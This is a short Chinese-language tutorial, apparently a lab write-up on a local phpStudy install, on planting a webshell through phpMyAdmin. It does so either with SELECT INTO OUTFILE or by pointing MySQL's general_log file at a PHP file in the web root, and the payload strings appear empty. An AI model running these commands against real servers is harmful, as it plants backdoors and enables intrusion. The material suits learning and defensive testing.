phpmyadmin后台getshell
select into outfile导出木马
web目录写权限
知道网站绝对路径
secure_file_priv没有具体值
通过命令查看路径
mysql
select @@basedir;

image-20220524200554126
通过这个路径可以推断出web路径C:\phpstudy_pro\www\
查看参数
mysql
show global variables like '%secure%';

image-20220524200756560
当value为“null”时,不允许读取任意文件
当value为“空”时,允许读取任意文件
value也可设置为其他路径
此时是NULL
的情况下不能导出文件,需要在my.ini
中加入secure_file_priv =""
最常用的是通过into outfile
在网站根目录上直接写入一句话木马:
mysql
select '' into outfile 'C:\phpstudy_pro\www\flag.php';
利用mysql日志
Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。
需要两个全局变量general_log
和general_log file
general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
general log file 指的是日志的保存路径。
查看日志状态
mysql
show variables like '%general%';

image-20220524201434432
修改general_log
为ON
mysql
SET GLOBAL general_log='on';
将general_log_file
的路径改成C:/phpstudy_pro/www/flag.php
mysql
SET GLOBAL general_log_file='C:/phpstudy_pro/www/flag.php';

image-20220524202147435
可以写入一句话木马
mysql
SELECT ''

image-20220524202315040
访问flag.php
看看

image-20220524202509908
成功写入webshell